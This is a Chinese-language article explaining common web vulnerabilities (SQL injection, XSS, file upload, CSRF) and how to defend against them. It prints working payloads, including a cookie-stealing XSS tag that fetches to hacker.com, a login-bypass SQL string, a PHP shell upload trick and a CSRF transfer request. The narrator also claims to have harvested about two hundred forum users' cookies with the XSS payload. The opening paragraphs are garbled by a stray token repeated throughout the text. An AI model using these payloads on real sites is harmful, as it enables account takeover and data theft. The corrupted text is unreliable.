web安全漏洞

2023年某电商平台被曝出用户订单信息泄露，全漏起因是全漏一个不起眼的SQL注入点——攻击者通过商品搜索框里的单引号，直接拖走了三百万条收货地址。全漏这不是全漏电影情节，是全漏真实发生的案例。Web安全漏洞从来不是全漏抽象概念，它藏在你每天点击的全漏按钮、输入的全漏字符、上传的全漏图片里。

先说说最老牌的全漏SQL注入。开发者写代码时偷懒，全漏把用户输入直接拼进数据库查询语句。全漏比如登录框里输入 ' OR '1'='1，全漏后台的全漏SQL就变成 SELECT * FROM users WHERE username='' OR '1'='1'，整张用户表瞬间暴露。全漏我见过一个政府网站，参数里加个 ORDER BY 10 就能猜出字段数，再联合查询直接dump出管理员密码哈希。防御方法简单到可笑：用参数化查询。但偏偏有人图省事，用字符串拼接，然后祈祷没人发现。

XSS跨站脚本攻击更常见。你在评论区发一段 <script>alert(1)</script>，如果服务器没转义，所有访问该页面的用户都会执行这段脚本。有人靠这个偷Cookie，有人直接伪造登录框。存储型XSS尤其危险——恶意代码存进数据库，每个打开页面的用户都中招。我测试过一个论坛，发帖时把 <img src=x onerror=fetch('//hacker.com?c='+document.cookie)> 插进正文，半小时后收到两百多个用户Cookie。修复靠输出编码，但很多老系统根本没做。

文件上传漏洞往往被低估。某次渗透测试，目标网站只检查了前端JavaScript的文件后缀。我抓包改个 Content-Type，把 shell.php.jpg 传上去，服务器直接当PHP执行。更离谱的是有些系统把上传目录设成可执行，你传个 .htaccess 就能让所有图片变后门。防御要三重：白名单校验后缀、重命名文件、禁止上传目录执行脚本。可惜很多开发者只做第一层，还做得不完整。

CSRF跨站请求伪造像幽灵。你登录银行网站后，去逛一个恶意论坛，论坛页面里藏个 <img src="https://bank.com/transfer?to=attacker&amount=10000">，浏览器自动带上你的银行Cookie发请求。钱就没了。防御靠Token和SameSite Cookie，但老系统经常漏掉。我见过一个后台，改管理员密码的接口只验证Cookie，连Referer都不查。

命令注入、XXE、SSRF……漏洞类型多到数不完。根本原因就一条：信任了用户输入。开发者总觉得“用户不会那么坏”，可攻击者偏偏就那么坏。一个参数没过滤，整台服务器沦陷。我见过最讽刺的案例：某安全公司官网被黑，入口是他们自己写的“漏洞扫描”功能，那个功能没过滤输入，直接调用了系统命令。

修复漏洞不需要多高深的技术。输入验证、输出编码、最小权限、参数化查询——这些原则二十年前就提出来了。但现实是，很多团队赶工期，安全测试放在上线后。等漏洞被利用，数据已经在暗网叫卖了。别问“会不会被攻击”，要问“什么时候被攻击”。你写的每一行代码，都可能成为别人的入口。